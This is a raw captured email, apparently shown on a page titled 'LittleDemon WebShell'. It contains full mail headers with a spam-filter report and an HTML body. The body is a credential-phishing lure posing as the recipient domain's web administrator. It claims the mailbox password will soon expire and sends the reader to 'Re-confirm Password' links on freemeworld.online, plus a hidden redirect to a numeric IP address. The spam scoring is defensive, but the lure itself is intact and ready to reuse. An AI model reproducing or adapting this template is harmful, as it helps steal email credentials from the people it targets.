LittleDemon WebShell

Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: from server.clickboxgo.com
	by server.clickboxgo.com with LMTP
	id RN2HMGLPimfeHAAA2xCSNQ
	(envelope-from <[email protected]>)
	for <[email protected]>; Fri, 17 Jan 2025 16:45:06 -0500
Return-path: <[email protected]>
Envelope-to: [email protected]
Delivery-date: Fri, 17 Jan 2025 16:45:06 -0500
Received: from s1079637.srvape.com ([185.9.147.147]:53050)
	by server.clickboxgo.com with esmtp (Exim 4.96.2)
	(envelope-from <[email protected]>)
	id 1tYu9D-0001ub-0m
	for [email protected];
	Fri, 17 Jan 2025 16:45:06 -0500
Received: from balimax.net (localhost [127.0.0.1])
	by s1079637.srvape.com (Postfix) with ESMTP id 8FABFC970DE
	for <[email protected]>; Fri, 17 Jan 2025 23:51:51 +0300 (MSK)
From: Mail Service<[email protected]>
To: [email protected]
Date: 17 Jan 2025 12:51:50 -0800
Message-ID: <[email protected]>
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=19.9
X-Spam-Score: 199
X-Spam-Bar: +++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "server.clickboxgo.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Mail Verification Dear User The password of your email account
    [email protected] will soon expire. To continue using your [email protected]
    kindly re-confirm ownership below. 
 Content analysis details:   (19.9 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: freemeworld.online]
  1.2 URIBL_ABUSE_SURBL      Contains an URL listed in the ABUSE SURBL
                             blocklist
                             [URIs: freemeworld.online]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.9.147.147 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [185.9.147.147 listed in sa-trusted.bondedsender.org]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  2.0 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: freemeworld.online (online)]
  0.0 NORMAL_HTTP_TO_IP      URI: URI host has a public dotted-decimal IPv4
                              address
  1.2 NUMERIC_HTTP_ADDR      URI: Uses a numeric IP address in URL
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  1.9 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  0.9 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  3.0 KAM_DMARC_REJECT       DKIM has Failed or SPF has failed on the
                             message and the domain has a DMARC reject
                             policy
  1.1 MIXED_HREF_CASE        Has href in mixed case
  0.9 FSL_BULK_SIG           Bulk signature with no Unsubscribe
  0.0 FROM_MISSP_EH_MATCH    From misspaced, matches envelope
X-Spam-Flag: YES
Subject:  ***SPAM***  Admin-Password Reset

<HTML><HEAD><TITLE></TITLE>
<META name=3DGENERATOR content=3D"MSHTML 11.00.9600.17037"></HEAD>
<body>
<P>&nbsp;</P>
<table style=3D"FONT-SIZE: 12px; MAX-WIDTH: 1024px; FONT-FAMILY: &quot;Luci=
da Grande&quot;, Verdana, Arial, Helvetica, sans-serif; WIDTH: 598px; BORDE=
R-COLLAPSE: collapse; COLOR: rgb(51,51,51); MARGIN: 0px; BORDER-SPACING: 0p=
x; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px">
<TBODY>
<TR>
<td style=3D"BORDER-TOP-STYLE: solid; FONT-FAMILY: Roboto, RobotoDraft, Hel=
vetica, Arial, sans-serif; BORDER-TOP-COLOR: rgb(223,225,230); BORDER-BOTTO=
M-STYLE: solid; BORDER-LEFT-COLOR: rgb(223,225,230); OUTLINE-WIDTH: medium;=
 PADDING-BOTTOM: 24px; BORDER-BOTTOM-COLOR: rgb(223,225,230); PADDING-TOP: =
24px; BORDER-RIGHT-STYLE: solid; OUTLINE-STYLE: none; PADDING-LEFT: 24px; M=
ARGIN: 0px; BORDER-LEFT-STYLE: solid; BORDER-RIGHT-COLOR: rgb(223,225,230);=
 PADDING-RIGHT: 24px; border-radius: 3px">
<H2 style=3D"MARGIN-BOTTOM: 10px; FONT-SIZE: 30px; FONT-FAMILY: inherit; FO=
NT-WEIGHT: 500; MARGIN-TOP: 20px; LINE-HEIGHT: 1.1">Mail Verification</H2><=
BR><FONT face=3D"georgia, serif">Dear&nbsp;&nbsp;</FONT>User<BR><BR><FONT f=
ace=3D"georgia, serif">The password of your email account&nbsp;<A href=3D"h=
ttps://freemeworld.online/sureboi/[email protected]=
om" target=3D_blank>[email protected]</A> &nbsp; will soon expire.</F=
ONT><BR>
<P style=3D"MARGIN: 0px 0px 10px">&nbsp;</P>
<P style=3D"MARGIN: 0px 0px 10px"><FONT face=3D"georgia, serif">To continue=
 using your&nbsp;<A href=3D"https://freemeworld.online/sureboi/index.html?u=
[email protected]" target=3D_blank>[email protected]</A=
> kindly re-confirm ownership below.</FONT></P>
<P style=3D"MARGIN: 0px 0px 10px">&nbsp;</P>
<table style=3D"HEIGHT: 40px; WIDTH: 198px; BORDER-COLLAPSE: collapse; BORD=
ER-SPACING: 0px" width=3D"198">
<TBODY>
<TR>
<td style=3D"BORDER-TOP-STYLE: solid; FONT-SIZE: 14px; HEIGHT: 30px; BORDER=
-TOP-COLOR: rgb(0,120,215); WIDTH: 108px; VERTICAL-ALIGN: middle; WHITE-SPA=
CE: nowrap; BORDER-BOTTOM-STYLE: solid; BORDER-LEFT-COLOR: rgb(0,120,215); =
PADDING-BOTTOM: 0px; BORDER-BOTTOM-COLOR: rgb(0,120,215); TEXT-ALIGN: cente=
r; PADDING-TOP: 0px; BORDER-RIGHT-STYLE: solid; PADDING-LEFT: 20px; MARGIN:=
 0px; BORDER-LEFT-STYLE: solid; BORDER-RIGHT-COLOR: rgb(0,120,215); LINE-HE=
IGHT: 20px; PADDING-RIGHT: 20px">
<FONT color=3D#ffffff face=3D"georgia, serif"><A style=3D"COLOR: rgb(1,134,=
186)" href=3D"https://freemeworld.online/sureboi/index.html?userid=3Djsanch=
[email protected]" rel=3Dnoreferrer target=3D_blank data-saferedirecturl=3D=
"https://www.google.com/url?q=3Dhttp://68.183.82.80/%23sf_base64_encode(%5B=
Email%5D)&amp;source=3Dgmail&amp;ust=3D1646137640433000&amp;usg=3DAOvVaw3dm=
-nH7AIoCD28nGG37-S1">Re-confirm Password</A></FONT></TD></TR></TBODY></TABL=
E><BR><BR><BR><FONT face=3D"georgia, serif">Thanks,<BR><BR>
clickboxgo.com Web&nbsp;Administrator</FONT>=20
<P style=3D"MARGIN: 0px 0px 10px">&nbsp;</P>
<HR style=3D"BORDER-TOP-STYLE: solid; MARGIN-BOTTOM: 20px; HEIGHT: 0px; BOR=
DER-RIGHT: 0px; BORDER-TOP-COLOR: rgb(238,238,238); BORDER-BOTTOM: 0px; BOR=
DER-LEFT: 0px; MARGIN-TOP: 20px">
</TD></TR>
<TR>
<td style=3D"BORDER-TOP: medium none; FONT-FAMILY: Roboto,RobotoDraft,Helve=
tica,Arial,sans-serif; BORDER-RIGHT: medium none; BORDER-BOTTOM: medium non=
e; OUTLINE-WIDTH: medium; PADDING-BOTTOM: 0px; PADDING-TOP: 18px; OUTLINE-S=
TYLE: none; PADDING-LEFT: 0px; MARGIN: 0px; BORDER-LEFT: medium none; PADDI=
NG-RIGHT: 0px">
<DIV style=3D"BORDER-TOP: 0px; PADDING-TOP: 0px; MARGIN: 0px">&nbsp;</DIV><=
/TD></TR></TBODY></TABLE>
<P>&nbsp;</P></BODY></HTML>